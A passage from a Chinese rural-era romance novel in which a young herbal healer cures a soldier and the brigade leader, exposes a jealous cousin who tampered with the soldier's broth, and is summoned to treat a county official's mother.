夜里,姜芷照旧端着一碗精心熬煮的药膳,来到了大队仓库。 陆向东的身体已经恢复了七七八八,不再是初见时那副随时会倒下的病弱模样。 他接过那碗还冒着腾腾热气的药膳,手指不经意间,碰到了她的指尖。 一触即分。 陆向东的心尖却像被什么烫了一下,眼神暗了暗。 他一口一口喝着药,目光却始终落在姜芷身上。 昏暗的煤油灯下,她的侧脸线条柔和,长长的睫毛投下淡淡的剪影。 “恢复得不错。” 姜芷等他喝完,接过空碗,微微点头。“明天我准备进山采主药了。” “我跟你一起去。” 陆向东几乎是脱口而出。 姜芷抬眸,打量着他。 “你?” 一个字,充满了对“病号”的质疑。 “陆向东同志,你的身体虽然好了大半,但离彻底康复还远得很。” “山高路险,你确定是去保护我,而不是让我分心照顾你?” 这话说直接戳中了陆向东作为军人的自尊心。 他的下颌线瞬间绷紧了。 “姜芷同志。” “我的体能,就算只恢复了七成,也足以应付任何突发状况。” “让你一个人去冒险,我做不到。” 他的语气,不是商量。 而是通知她。 姜芷看着他这副样子,心里忽然觉得有些好笑。 明明是个在她手底下治病的病人,这颐指气使的军官派头,倒是一点没改。 她沉默了片刻,终于松了口。 “好。” 见他眼神一亮,姜芷又慢悠悠地补充了一句。 “不过,上了山,一切行动都得听我的。” “我是医生,你是病人。” “这是医嘱。” “好。” “都听姜医生的。” 陆向东松了口气。 ... 第二天一早,两人便一同进了山。 越往深处走,山路越是崎岖。 陆向东始终走在前面,拨开荆棘,清理着前路的障碍,将她稳稳地护在身后。 很快,他们来到了一处陡峭的悬崖下。 姜芷指着悬崖峭壁上一处石缝里顽强生长着的几株植物。 “就是那个,石斛。” 那石缝离地面足有十几米高,上下光秃秃的,没有可以借力的地方。 “你在这里等我。” 陆向东脱掉外套,没用任何工具,只是在崖壁上寻找着微小的凸起和缝隙,手脚并用,身形矫健得像一只猿猴,三两下就攀了上去。 姜芷站在下面,看着他稳健的身影,心里也不由得赞叹。 这家伙,体能是真的恐怖。 陆向东很快就采到了那几株珍贵的野生石斛,用绳子小心翼翼地放了下来。 就在他们准备原路返回时,两人同时听到了不远处传来的一阵呻吟声。 “救……救命……” 声音微弱,气若游丝。 两人对视一眼,立刻循着声音找了过去。 拨开一片茂密的灌木丛,眼前的景象让姜芷心头一紧。 一个穿着灰色土布衣裳的男人倒在地上,右腿被一个锈迹斑斑的捕兽夹死死夹住。 铁齿已经深入皮肉,鲜血染红了整条裤腿,男人的脸因为剧痛和失血,白得像一张纸。 “别动!” 姜芷立刻上前,蹲下身子。 她先是检查了一下男人的伤口,发现夹子虽然夹得深,但万幸没有伤到骨头。 “我是医生,我帮你把夹子取下来。” 她一边安抚着男人,一边示意陆向东帮忙。 陆向东二话不说,上前用双手抓住捕兽夹的两侧,用蛮力硬生生将紧咬的铁齿,一点点地掰了开来。 “啊——!” 男人发出一声惨叫,差点晕厥过去。 姜芷趁机迅速将他的腿从夹子里解救出来,然后从随身的布包里掏出伤药和纱布,为他清创、止血、包扎。 男人缓过一口气,感激地看着他们。 “多……多谢两位同志!真是我的救命恩人啊!” “我叫王二狗,是邻村靠山屯的,今天上山想打只兔子给婆娘补补身子,没想到……唉!” 他一边说,一边捶着自己的腿,一脸的懊恼和后怕。 姜芷包扎好伤口,站起身。 “伤口不能沾水,这几天注意休息。” 一切看起来,都只是一场再寻常不过的意外。 然而,陆向东的眼神却微微一凝。 这个男人的手上,虎口处有常年握枪才会留下的薄茧。 指甲缝里,干干净净,没有一丝泥垢。 这绝不是一个面朝黄土背朝天的普通村民该有的手。 他又不动声色地瞥了一眼男人脚上那双半旧的解放鞋。 鞋底的磨损很均匀,鞋帮上沾的泥土是新鲜的,但鞋子的走线和胶合方式,却更像是部队里特供的型号,而不是市面上流通的普通货色。 陆向东扶起王二狗,低声地说:“你的腿伤得不轻,自己下不了山。我扶你回去。” “哎哟,那可太麻烦你们了!”男人一脸的感激。 陆向东暗暗将这个人的样貌、身高、口音,以及他身上所有的可疑细节,都记在了脑子里。 这个人,或许和他正在暗中调查的秘密任务,脱不了干系! 第12章 一百工分三十斤大米 将那个自称王二狗的男人扶下山,陆向东一路都未曾言语。 到了山脚的岔路口,那男人便急着要自己走,执意不让他们再送。 “同志,真是太谢谢你们了!俺家婆娘还在家等着呢,就不耽误你们了!” 他说着,拖着伤腿,一瘸一拐地就要拐上另一条小路。 姜芷秀眉微蹙。 “你的伤口很深,铁器带锈,必须妥善清创,否则极易感染发炎,后果会很严重。” 她好心提议:“我带你回大队,我那里有干净的药和纱布。” “不用!不用!真的不用了!” 男人连连摆手,拒绝得又快又急,那副模样,不像是不想麻烦人,倒像是生怕他们跟上来。 “俺们村有土方子,撒点烟灰草木灰就行了!不劳烦你们了!” 话音未落,他便头也不回,几乎是落荒而逃。 看着他一瘸一拐,速度却丝毫不慢的背影,陆向东眼中,闪过一丝冷光。 一个普通的村民,受了那么重的伤,第一反应不是寻求更彻底的救治,反而是急于摆脱救命恩人? 太可疑了。 姜芷反倒没想那么多,她现在满心都是刚到手的这几味主药,只想立刻回去给陆向东制药,彻底根除他体内的顽疾。 回到大队那间破旧的仓库,姜芷立刻开始处理药材。 她将石斛、灵芝等几味珍稀药材细细研磨,又配上其他辅药,用文火精心熬制,最后亲手搓成一粒粒大小均匀的黑褐色药丸。 整个过程,陆向东就靠在仓库门口,目光始终牢牢地锁在她身上,从未移开。 “每日早晚各一粒,温水送服。” 姜芷将装满药丸的小巧瓷瓶递给他,瓷瓶上,似乎还残留着她的余温。 陆向东接过,紧紧攥在掌心。 …… 药丸的效果,好得出乎意料。 仅仅几天,陆向东便感觉那股盘踞在他体内,折磨他许久的阴寒之气,被一股温煦的力量驱散清除了大半。 身体里像是重新燃起了一团烈火,暖洋洋的。 这天清晨,天还未亮透,他便在仓库后的小树林里打了一套军体拳。 拳风呼啸,虎虎生风! 力道刚猛,势如奔雷! 整个人的状态,快要赶上受伤前了! 见姜芷来了,陆向东收了拳势,拿起搭在树枝上的军绿色汗衫随意擦了擦汗,朝她走来。 姜芷的目光在他身上停留了一瞬,点了点头。 “恢复得不错。” “药丸继续吃,再有三天,你体内的寒毒就能彻底根除。” 然而陆向东听了,心猛地一沉。 彻底根除...那也意味着,她为他治病的理由,即将消失。 他们之间这点的联系,也要断了。 想到这里,他心里有些小小的失落,忍不住开口问。 “你的医术,很厉害。” “那你接下来……有什么打算?” 姜芷正在低头整理药篓里新采的草药,闻言头也没抬,回答得干脆利落。 “我娘的身体亏空得太厉害,得先帮她把底子养回来。” 她的回答,在陆向东的意料之中,却让他心里更空了。 只是为了母亲吗? 就在陆向东心头思绪翻涌时,姜芷停下了手上的动作。 她抬起头,目光越过他,望向了远处云雾缭绕的青翠山峦。 “当然,看病挣工分,只是权宜之计。” “这片大山,是一座被遗忘的宝库。很多在医书上都已绝迹的药材,在这里,或许还能找到它们的踪迹。” “我的本事,不该只用来换几斤大米,几个工分。” 她回过头,迎上陆向东震撼的目光,微微一笑。 “我想做的,是把那些失传的方子,断了传承的针法,一样一样地,重新找回来。” “在这片土地上,用我自己的方式,重建一个属于我的传承。” 这一刻,陆向东的心,像是被重锤狠狠砸中! 他看着眼前的女孩,她身形清瘦,穿着打着补丁的粗布衣裳,可她身上散发出的光芒,却比他见过的任何功勋章都要耀眼夺目! 原来,她要的,从来都不是偏安一隅。 她胸中所藏的,是足以惊艳一个时代的山川与江海! 一股巨大的酸涩和更加强烈的占有欲,瞬间席卷了陆向东全身。 他忽然觉得,将这样一只本应翱翔九天的凤凰,困在这个闭塞落后的小山村里,简直是一种罪过。 而他,又该如何,才能将这道耀眼的光,留在自己身边? …… 日子一晃,就到了秋收大忙。 红星大队全体出动,金色的田野里一片热火朝天的景象。 镰刀挥舞间,沉甸甸的谷穗飘散着醉人的清香。 社员们脸上挂满汗水,眼里尽是丰收的喜悦。 大队长赵大山扯着他那标志性的大嗓门,在田埂上来回奔走,指挥着大家伙儿。 “都加把劲儿!趁着天好,赶紧把粮食都收回仓!” “二队的,你们那边速度快点!别跟娘们儿似的磨磨蹭蹭!” 他正喊得起劲,突然,脸色猛地一白,整个人“哎哟”惨叫了一声,就像一截木桩,直挺挺地就朝后倒了下去! “队长!” “大山叔!” 周围的社员吓了一大跳,魂都快飞了,赶紧丢下镰刀围了上去。 只见赵大山躺在地上,额头上豆大的冷汗滚滚而下,双手死死地撑着后腰,疼得龇牙咧嘴,连一句完整的话都说不出来了。 “快!快把队长抬回去!” “不行,这看着吓人!得赶紧送县医院!这肯定是他的老毛病又犯了!” 众人手忙脚乱,七手八脚地就要去抬人。 “都别动!” 就在这时,一道清冷声音响起。 众人下意识地回头,只见姜芷背着药篓,不知什么时候出现在了田埂上。 她刚从后山采药回来,正好路过这里。 她拨开惊慌失措的人群,快步走到赵大山身边蹲下,只扫了一眼他痛苦扭曲的脸,又伸手在他腰部的几个关键位置轻轻按了按。 “队长,你别动,也别紧张。” 姜芷只看了一眼,便已了然于心。 “急性腰扭伤,牵动了你腰椎的陈年旧疾,问题不大。” “芷丫头……你……你行不行啊?”人群里,有人忍不住小声嘀咕。 这可不是头疼脑热的小毛病,是队长的老腰啊!这要是给治出个好歹来…… 姜芷充耳不闻,直接无视了那些质疑。 她让众人散开些,留出足够的空间,然后从随身的小布包里,拿出了一排用布包裹着的,长短不一的银针。 她捻起一根三寸长的银针,在火折子上燎烤消毒。 看准了赵大山腰部的肾俞穴,眼神陡然一凝。 手腕微动,没有丝毫的犹豫,快、准、狠地刺了进去! 围观的村民哪里见过这种阵仗,一个个都吓得倒吸了一口凉气。 赵大山疼得“嘶”了一声,但剧痛只是一瞬,很快,他就感觉到一股奇异的酸麻感,从银针刺入的地方迅速扩散开来。 那股钻心刺骨的剧痛,竟然真的减轻了! 紧接着,大肠俞、委中、承山…… 姜芷的手法行云流水,精准利落。 几根银针扎下去,原本疼得龇牙咧嘴、在地上冷汗直流的赵大山,脸上痛苦的神情,也迅速缓解了下来。 “哎……哎?好像……好像真不那么疼了……” 赵大山惊奇地发现,自己僵硬像铁棍一样的腰,竟然能动了。 这还没完。 施针完毕,姜芷又走到田埂边,随手就拔了几株最不起眼的牛膝草和马齿苋,又从药篓里掏出一些早就磨好的干姜粉。 她找来一块干净的石头,将那几样东西放在上面,用另一块石头捣得稀烂,混成一滩墨绿色的药泥。 “来个婶子,麻烦帮我生一小堆火。” 很快,药泥被加热,一股混杂着青草药香和辛辣姜味的奇特气味弥漫开来。 姜芷将温热的药泥,均匀地敷在了赵大山的后腰上,又用一块干净的布巾包好。 “队长,你趴着别动,半个小时就行。” 所有人都屏住了呼吸,围在旁边,眼睛一眨不眨地看着,像是生怕错过什么神迹降临的瞬间。 时间一分一秒过去。 半个小时后,姜芷解开布巾,取下药泥,然后将银针一一拔出。 “好了,队长,你试试,慢慢站起来。” 赵大山将信将疑,在两个社员的搀扶下,小心翼翼地撑着地,尝试着,一点一点地,站起身。 他竟然…… 真的站起来了! 虽然动作还有些缓慢,但腰上那股要命的剧痛,已经消失得无影无踪! 他试着,往前走了两步。 稳稳当当! “我的天爷啊!” “这……这就好了?!” “比去县医院吃药打针还快!这简直是神了!神仙手段啊!” 田埂上,瞬间爆发出雷鸣般的惊呼和议论声! 赵大山自己更是激动得一张老脸涨得通红,他一把抓住姜芷的手。 “芷丫头!你……你这可是帮了我天大的忙了!” “你不是什么小神医,你就是我们红星大队的活菩萨啊!” 他当着全村人的面,中气十足地高声宣布。 “我决定!奖励姜芷同志,一百个工分!” “另外!再从大队粮仓里,拨三十斤最好的大米给她!” 一百个工分! 三十斤精细的白花花的大米! 人群再一次炸了锅! 这奖励,简直丰厚到让人眼红! 一个最壮的劳力,累死累活在大太阳底下干一个月,也挣不到这么多啊! 这消息,第一时间就传回了姜家老宅。 正在院子里择菜的王桂香,和躺在炕上哼哼唧唧的姜老太,听到这个消息,两个人的眼睛,瞬间就红得像要滴血! “一百个工分?三十斤大米?” 王桂香手里的烂菜叶子都忘了扔,声音尖利得变了调。 “凭什么!她凭什么拿这么多!” 姜老太更是猛地从炕上坐了起来,嫉妒得全身都在抽痛。 第13章 姜家人又开始作妖 王桂香得了姜老太的死命令,腰杆子都挺直了几分,气势汹汹地就冲进了姜芷的院子。 彼时,赵秀娥正坐在小马扎上,笨拙地学着姜芷教她的,辨认和处理草药。 “姜芷!你个死丫头!你奶奶快不行了,让你赶紧滚过去!” 王桂香叉着腰,嗓门尖利,唾沫星子都快喷到赵秀娥脸上了。 赵秀娥吓得手一哆嗦,下意识地就想站起来。 姜芷却按住了她的肩膀,手上继续有条不紊地将一株晒干的柴胡根切成薄片。 “什么叫‘快不行了’?” “是断气了,还是入土了?” “你……” 王桂香被她这轻飘飘一句噎得差点背过气去。 “你个不孝的东西!你奶奶都躺在炕上哼哼了,你还有心思说风凉话!我告诉你,她要是有个三长两短,你就是杀人凶手!” 姜芷这才慢悠悠地放下手里的活计,站起身,拍了拍手上的药渣。 她看了一眼被吓得脸色发白的赵秀娥,轻声安抚。 “娘,你继续,我去去就回。” 说完,她迈开步子,径直朝着老宅走去,那闲庭信步的模样,哪里像是去探望病危的长辈,倒像是去邻居家串门。 王桂香在后面气得直跺脚,却也只能恨恨地跟上。 赵秀娥不放心,也跟了上去。 一进东屋,一股浑浊的空气扑面而来。 姜老太正躺在炕上,盖着厚厚的被子,嘴里哼哼唧唧,一声比一声惨。 那张老脸皱成一团,好像正忍受着天大的痛苦。 一见姜芷进来,她立刻戏精附体,声音都带上了哭腔。 “哎哟……我的好孙女……你可算来了……” “奶奶这心口啊……疼得跟刀绞一样……喘不上气……怕是……怕是过不去今天这个坎儿了……” 姜芷走到炕边,也不说话,就那么居高临下地看着她表演。 那眼神,清澈又冷漠,看得姜老太心里直发毛,哼唧的声音都弱了三分。 “手伸出来。”姜芷淡淡开口。 姜老太赶忙把手从被窝里伸出来。 姜芷伸出两根手指,随意地搭在她的脉搏上,眼睛却扫过她那张虽然挤出痛苦表情,但依旧红光满面的脸。 片刻后,她收回了手。 王桂香迫不及待地凑上来,“怎么样?是不是很严重?要不要送医院?得用什么好药?” 姜芷似笑非笑,看向炕上还在卖力呻吟的姜老太。 “奶奶,你没病。” 姜老太的呻吟声,戛然而止。 王桂香的表情,僵在脸上。 “你就是想多吃点好的。” 姜芷慢条斯理地继续说,“想吃肉就直说,想喝大米粥就开口。都是一家人,何必把自己折腾成这样,又是哼哼又是装病的,累不累啊?” 这话说得,简直就是把姜老太的脸皮扒下来,扔在地上,还用脚狠狠踩了几下! “你……你个黑了心肝的白眼狼!” 姜老太被当众戳穿,那张老脸瞬间涨成了猪肝色! 她猛地从炕上坐起来,哪还有半点病弱的样子,中气十足地指着姜芷破口大骂。 “你个不孝的东西!我可是你亲奶奶!我躺在这里,你不安慰我就算了,还敢咒我!你眼里还有没有王法!还有没有孝道!我要去公社告你!告你虐待长辈!” 面对她的撒泼,姜芷连眉毛都没动一下。 她二话不说,转身就走出了屋子。 王桂香和姜老太都愣住了,以为她这是怕了,要溜。 还没等她们脸上露出得意的笑,姜芷又回来了。 她手里,赫然多了一个沉甸甸的米袋子。 “砰”的一声。 她将米袋子扔在姜老太的炕边。 “这里是二十斤大米。” “就算是我孝敬您的。” “您拿着,想怎么吃就怎么吃。不够了,再开口。” 说完,她转身拉起还站在门口,一脸不知所措的母亲,头也不回地走了。 从头到尾,一个多余的字都懒得说。 屋子里,姜老太和王桂香看着炕边那袋白花花的大米,彻底傻眼了。 姜老太感觉自己卯足了劲儿,一拳狠狠打了出去,结果却打在了一团棉花上。 憋屈! 太憋屈了! 她拿到了米,却输得一败涂地! …… 与此同时,大队仓库。 陆向东正在和一名穿着普通工装的青年说话。 “陆队,你的身体恢复得怎么样了?上面很关心。” “已经无碍。”陆向东声音沉稳,“任务可以继续。” “那就好。”青年点了点头,又有些好奇地问,“听说,你这次是靠一个村里的赤脚医生治好的?真的假的?” “不是赤脚医生。” 他纠正道。 “她是一名真正的医者。她的医术,神乎其技,远超我的想象。” “哦?”青年明显来了兴趣,“能得到你陆阎王这么高的评价,看来是真的不简单。我会如实向上级汇报的。” …… 姜老宅。 姜巧巧躲在窗户后面,将姜芷如何用二十斤大米就把姜老太堵得哑口无言的全过程,看了个一清二楚。 她嫉妒得指甲都快嵌进了肉里。 凭什么姜芷现在过得这么得意! 连奶奶都拿她没办法! 而她心心念念的陆向东,现在更是被那个贱人护得好好的! 她太不甘心了! 忽然,一个恶毒的念头,从她心底钻了出来。 她想起之前村里人闲聊时说过,陆向东是中了什么“寒毒”,才来他们这里养伤的。 寒毒…… 那是不是给他吃点性寒的东西,他的病就会复发? 到时候,陆向东要是出了事,那姜芷就是罪魁祸首! 她这个“小神医”的名声,就彻底烂了! 这个念头一起,就在姜巧巧心里疯狂滋长! 她悄悄跑到后院,找了些马齿苋之类的寒性野菜,又偷偷溜进厨房,趁着姜芷熬药膳的功夫,将那些捣烂的野菜汁,神不知鬼不觉地混进了瓦罐里。 做完这一切,她紧张又兴奋地跑回了屋子,心脏砰砰直跳。 她自以为做得天衣无缝。 却不知,她那鬼鬼祟祟的身影,早就被暗处一双眼睛,看得一清二楚。 陆向东冷冷一笑。 他什么都没说,在姜芷端来那碗被“加了料”的药膳时,依旧面不改色地,一口一口,喝了下去。 夜,渐渐深了。 就在姜巧巧以为自己的计谋要石沉大海,正心烦意乱时。 村子里,突然传来一阵急促的呼喊声! “不好了!不好了!” “仓库里的陆同志出事了!” 姜巧巧脸上露出狂喜! 成了! 她立刻冲出屋子,朝着大队仓库狂奔而去。 等她挤进人群,只见陆向东正躺在草堆上,脸色惨白,嘴唇发紫,浑身剧烈地颤抖着,额头上全是冷汗,看起来情况十分危急! 姜巧巧的心,激动得快要跳出嗓子眼! 她等的就是这个时刻! 她猛地跳了出来,尖声叫喊道: “是姜芷!就是她害的!” “大家快看啊!姜芷就是个庸医!她根本治不好陆军官,现在把人给吃出事了!” 王桂香也立刻跟上,拍着大腿,哭天抢地。 “杀人啦!姜芷要害死我们未来的好女婿啦!她就是个扫把星!是她把陆军官害成这样的!” 母女俩一唱一和,瞬间将所有的矛头,都指向了姜芷! 第14章 将计就计 仓库外,火光冲天,映着一张张惊疑不定的脸。 人群最前方,王桂香和姜巧巧母女俩,像两只斗胜了的乌眼鸡,下巴抬得老高。 “大家都来看看!都来瞧瞧啊!” “姜芷这个黑了心肝的白眼狼!她就是个庸医!治不好陆同志,就想把人给活活害死!” 她的话极具煽动性,唾沫星子横飞。 姜巧巧满眼怨恨,指向仓库里那个躺在草堆上,浑身抽搐的身影。 “就是她!陆同志吃了她的药才变成这样的!” “她就是个骗子!我们不能再让她害人了!必须去公社举报她!把她抓起来,枪毙!” 母女俩一唱一和,颠倒黑白。 “看陆同志那样子,怕是真的不行了……” “这姜家丫头,还是年纪太轻了!” “谋害解放军同志,这可是天大的罪过!” 有些不明情况的村民,跟着附和。 几句煽动,人群瞬间骚动起来,几个好事之徒已经嚷嚷着要去叫民兵。 就在这时,一声冷喝炸响。 “都给我让开!” 众人下意识回头。 只见姜芷不知何时已站在人群后,她手里提着一个旧药箱,脸色阴沉着。 人群自动给她让出了一条路。 她目不斜视,穿过人群,走进了仓库。 王桂香见她来了,非但不怕,反而更加来劲。 “你还敢来!你这个杀人凶手!” 姜芷连一个眼神都懒得施舍给她,径直走到陆向东身边,蹲下身子。 眼前的陆向东,额上冷汗涔涔,身体剧烈颤抖。 这副模样,像极了寒毒攻心。 “怎么会?” 姜芷眉头紧皱,伸出手搭上了陆向东的脉搏。 脉象沉稳有力,气血充盈。 别说寒毒攻心了,这家伙的身体好得现在就能上山打死一头老虎! 他在演戏! 演得还挺像那么回事。 姜芷瞬间了然。 好啊,陆向东。 你个浓眉大眼的家伙,心思还挺深沉。 这是知道有人要害他,干脆将计就计,准备来个瓮中捉鳖? 行。 既然你要演,那我就陪你把这出戏,唱得更漂亮些! 下一秒,姜芷的脸色“刷”地一下也白了,满脸焦急。 “怎么会这样?不应该啊!” 她这副心虚慌乱的模样,落在众人眼里,彻底坐实了罪名。 姜巧巧越发得意:“现在知道怕了?晚了!姜芷,你今天死定了!” 姜芷猛地回头,眼睛通红地瞪着她:“不可能!我的方子绝不可能有问题!” 她扑到旁边那个熬药的瓦罐边上,伸手捞里面的药渣。 “一定是有人动了手脚!一定是!” 姜芷将那些黑乎乎的药渣全都倒在地上,一点一点地捻开,仔细地分辨。 突然! 她从一堆药渣里,捻起几片破碎的墨绿色叶片。 “马齿苋!” “这是马齿苋!性大寒!陆同志本就身中寒毒,这药膳里怎么会有这种东西?!” 她猛地抬起头,将叶片举到众人面前,转向姜巧巧! “是你?是你做的手脚!” 仓库里,瞬间死寂。 所有人的目光,聚焦在了姜巧巧脸上。 姜巧巧的心,咯噔一下! 她……她怎么会认出来?! 明明把那些野菜捣得那么烂! “你……你胡说!我没有!” 她尖声反驳,但那双慌乱闪躲的眼睛,已经彻底出卖了她。 就在这时,躺在草堆上,一直“昏迷不醒”的陆向东,缓缓睁开眼睛,抬手指向姜巧巧。 “她……她……” “她往药罐里……倒了绿色的东西……” 物证! 人证! 齐了! 这一下,再也没人怀疑了,真相昭然若揭! “好你个姜巧巧!” 一声暴喝,如同平地惊雷! 大队长赵大山黑着一张脸,带着刚从公社回来的陈支书,拨开人群,大步走了进来。 他们刚到村口就听说陆同志出事了,火急火燎地赶来,正好听见了陆向东的“指认”! 赵大山的眼睛都气红了。 “谋害现役军人!这是重罪!”陈支书脸色阴沉,“赵队长!立刻把人给我绑了!扭送公社!这件事,必须严查到底!” “绑……绑起来?” 王桂香和姜巧巧母女俩,腿肚子一软,当场瘫在了地上! 她们怎么也没想到,事情会闹到这个地步! 这要是真被送去公社,那可是要坐大牢的啊! 站在人群里的姜为民,更是吓得魂飞魄散! 他只是个在砖窑厂出苦力的,什么时候见过这种阵仗? 一个是村里的大队长,一个是公社的一把手! 现在两个人都发了话,要抓他的女儿和婆娘! 这要是被定了罪,他这个当爹的,当丈夫的,还能有好果子吃吗? 工作会不会丢? 会不会被连累? 恐惧和愤怒,瞬间冲昏了他的头脑! 他现在只想赶紧跟这两个蠢货撇清关系! “你个搅家精!” 他涨红了脸,从人群里冲出来,冲到姜巧巧面前,抡圆了胳膊! “啪——!” 一个响亮耳光,狠狠甩在了姜巧巧的脸上! 姜巧巧被打得一个趔趄,半边脸瞬间高高肿起,嘴角都见了血。 她难以置信地捂着脸,两眼瞪大。 还没等她反应过来,姜为民又是一个反手! “啪——!” 这一巴掌,结结实实地甩在了王桂香的脸上! “还有你!你个孽障!” 姜为民气得浑身发抖,指着她们俩破口大骂。 “你们是想害死我吗!啊?我怎么就娶了你这么个毒妇!又生了你这么个孽女!” 眼看民兵真的拿着绳子就要上来绑人,姜芷却突然开了口。 “陈支书,赵队长,等一下。” “这件事……毕竟是我们老姜家的家丑。” “传出去,丢的是我们整个姜家的脸。” 她看了一眼瘫在地上的姜巧巧,话锋一转。 “再说了,把她送去公社,关几天,对她这种人来说,太便宜了。” “依我看,不如让她留在村里。” “罚她,打扫全村所有的猪圈!一个月!” “让她每天都闻着那股味儿,让全村人都看着她赎罪!这比坐牢,更能让她长记性。” 这话一出,众人哗然! 这个惩罚,简直比杀了姜巧巧还让她难受! 陈支书和赵大山对视一眼,都从对方眼中看到了后怕与庆幸。 这件事传开,对村子的声誉影响极坏。 可如果不公事公办,又如何给这位身份特殊的陆同志一个交代。 就在这时,一直半靠在草堆上的陆向东开了口。 “陈支书,赵队长。” “我觉得姜芷同志的提议很好,我这边,没有意见。” 陈支书闻言,紧绷的神情终于松弛下来,深深地看了姜芷一眼。 这丫头,不仅医术通神,这份心胸和手段,也远非寻常乡下女孩可比。 “好!既然解放军同志都这么说了!” 陈支书一锤定音,脸色重新变得严肃。 “那就按芷丫头说的办!” 他威严的目光扫过瘫软在地的母女俩,压抑着怒火。 “王桂香教女无方,纵容行凶,同为帮凶!罚你下地义务劳动一个月,天不亮就去,天黑了再回!给我好好反省!” 一声令下,两个早就候着的民兵立刻上前,一人一个,像拖死狗一样,将哭天抢地的王桂香和姜巧巧拖出了仓库。 一场轰轰烈烈的“谋害案”,就此落幕。 姜巧巧母女,彻底成了全村人唾弃的笑柄,声名狼藉,这辈子都再难抬起头来。 人群散去,仓库里终于恢复了安静。 呛人的火把烟气中,只剩下四个人。 陈支书大步走到陆向东面前,满脸歉意和关切。 “陆同志,让你在我们红星公社的地界上受惊了!这是我们工作的失职!” 赵大山跟在后面,一张黑脸涨得通红,又是愤怒又是愧疚。 “都怪我!是我没管好村里的人,让这些黑了心肝的玩意儿,差点就……” 陆向东摆了摆手,示意他们不必如此。 他看了一眼身旁正默默收拾药箱的姜芷。 “我没事。” “今天,多亏了姜芷同志及时发现,否则后果不堪设想。” 他轻飘飘一句话,瞬间将所有的功劳,都推到了姜芷身上。 赵大山一拍大腿,满眼赞叹。 第15章 她是一头金凤凰 姜巧巧母女俩被处罚的消息,传回姜家时,姜老太躺在炕上,气得心肝脾肺肾都在抽痛。 这件事让姜家老宅彻底成了十里八乡最大的笑话。 她想不通,自己怎么就养出了姜巧巧那么个成事不足败事有余的蠢货! 更想不通,那个过去任她搓圆捏扁的姜芷,怎么就成了个她完全够不着的孙悟空! 眼看姜芷和赵秀娥从外面回来,姜老太再也忍不住了,抓起身边油腻腻的枕头走到门口,就狠狠砸了过去。 “你个丧门星!搅家精!” “我们老姜家的脸,全都让你这个贱皮子给丢尽了!” 赵秀娥被这突如其来的阵仗吓得一哆嗦,下意识就往后退。 姜芷却一步上前,将母亲稳稳护在身后,身子一侧,就轻易躲过了那个脏枕头。 “丢脸?” “一个为了抢孙女婿,不惜下毒害人。” “一个为了占点便宜,能躺在炕上装死。” “你自己说说,到底是谁在丢老姜家的脸?” 她脸色变冷。 “我最后警告你一次。” “以后安分点,再敢找我和我娘半点麻烦,我挣回来的东西,别说大米,就是一根草,你也休想再见到!” 这番话,冰冷刺骨,姜老太从头到脚一个激灵。 她张了张嘴,那句“反了你了”卡在喉咙里,怎么也骂不出口。 她怕了。 怕这个孙女说到做到! 姜芷看着她那副敢怒不敢言的憋屈样,心情舒畅了,拉着母亲回了自己那屋。 姜家老宅,终于迎来了一段难得的宁静。 没有了王桂香母女的上蹿下跳,姜芷和赵秀娥的日子,一天比一天透亮。 姜芷用看病换来的工分和票据,不仅顿顿都能吃上细粮,饭桌上更是隔三差五就能见到油腥。 赵秀娥蜡黄的脸蛋,迅速红润起来,佝偻的腰杆,也挺直了不少。 她跟着姜芷,磕磕巴巴地学着辨认草药,处理药材。 虽然笨拙,这日子,可真有盼头! …… 县人民医院。 内科办公室里,几个医生正凑在一起闲聊。 “哎,听说了吗?红星大队出了个‘小神医’,可神了!公社陈支书咳了半辈子的老毛病,让她几副草药就给治好了!” “我也听说了!还有他们大队长,急性腰扭伤,躺地上都动不了了,那丫头几根针下去,当场就能下地走路了!你说邪乎不邪乎!” 听着同事们的议论,一个戴着金丝边眼镜,穿着白大褂的男医生不屑地推了推眼镜。 “嗤。” 他叫王建国,是院里重点培养的年轻骨干,留过洋,学的是最先进的西医理论。 “什么小神医,不过是些乡下土方子,瞎猫碰上死耗子罢了。” 王建国端起搪瓷杯,抿了一口茶,满脸优越感。 “中医那套东西,成分不明,剂量不清,毫无科学依据,早就该被淘汰了。也就骗骗那些没文化的乡下人。” 他最看不起的,就是这些神神道道的所谓“神医”。 说来也巧。 这天下午,县革委会的周主任,急匆匆地找到了王建国。 “王医生,你快去看看我娘!她那皮肤病又犯了,痒得受不了,饭都吃不下了!” 周主任的母亲,得了一种顽固的皮肤病,反反复复,奇痒无比。 县医院最好的皮肤科专家都看过了,各种进口的药膏也用了不少,可效果一次比一次差。 王建国赶到周主任家,一进门就闻到一股浓烈的药膏味。 老太太正躺在床上,不住地呻吟,胳膊上、腿上,凡是能抓到的地方,全都是一道道血口子,有的地方甚至渗出了黄水,简直惨不忍睹。 王建国检查了一番,皱起了眉头。 还是老办法,清洁,消毒,上最新的一种药膏。 可这次,药膏抹上去,非但没止痒,老太太反而叫得更厉害了,像是被泼了辣椒水一样,在床上翻来滚去。 “没用啊!王医生!一点用都没有!”周主任急得满头大汗。 王建国也是束手无策。 就在这时,周主任的秘书小李,忽然小声提议:“主任,我听说……红星大队的那个小神医,医术特别高明,要不……咱们请她来试试?” “胡闹!”王建国当场就反驳,“那都是乡下骗人的把戏!老太太现在的情况这么严重,万一出了事谁负责?” 周主任看着在床上痛苦挣扎的母亲,心里天人交战。 最后,他一咬牙,下了决心。 “王医生,不是我们不相信你,只是老娘这情况...只能死马当活马医了!” 王建国皱着眉,喉咙蠕动,到嘴边的话又咽了回去。 周主任立即吩咐:“去!小李!你亲自开车去!务必把人给我请来!” “一定!”小李连忙点头。 当一辆绿色的吉普车开进红星大队的时候,整个村子都轰动了。 田里干活的社员们纷纷直起腰,家里做饭的婆姨们也探出头。 所有人都好奇地张望着这个只有公社大领导下来视察时才能见到的稀罕玩意儿。 车子没有乱开,而是径直停在了大队部。 秘术小李穿着干部装,戴着眼镜,从车上下来,客客气气地找到了正在安排农活的队长赵大山。 “请问,您是赵大山队长吗?” “我是,同志你找我?”赵大山有些受宠若惊。 秘书小李握住他的手,郑重地说明了来意:“赵队长,我代表县革委会的周主任,想来请贵大队的姜芷同志,去县里为周主任的母亲看病。她在家吗?” “啥?!” 赵大山眼珠子都快瞪出来了! 县革委会的主任! 亲自派车来请姜芷丫头去看病! 一股巨大的骄傲和与自豪,瞬间冲上了他的脑门! “在!在!姜芷同志就在家呢!” 赵大山激动得脸都红了,亲自在前面带路,那腰杆挺得笔直。 吉普车在前面缓缓开着,赵大山在旁边小跑着指路,后面跟了一大串看热闹的村民。 这阵仗,比过年还热闹! 车子最终稳稳地停在了姜家大院门口。 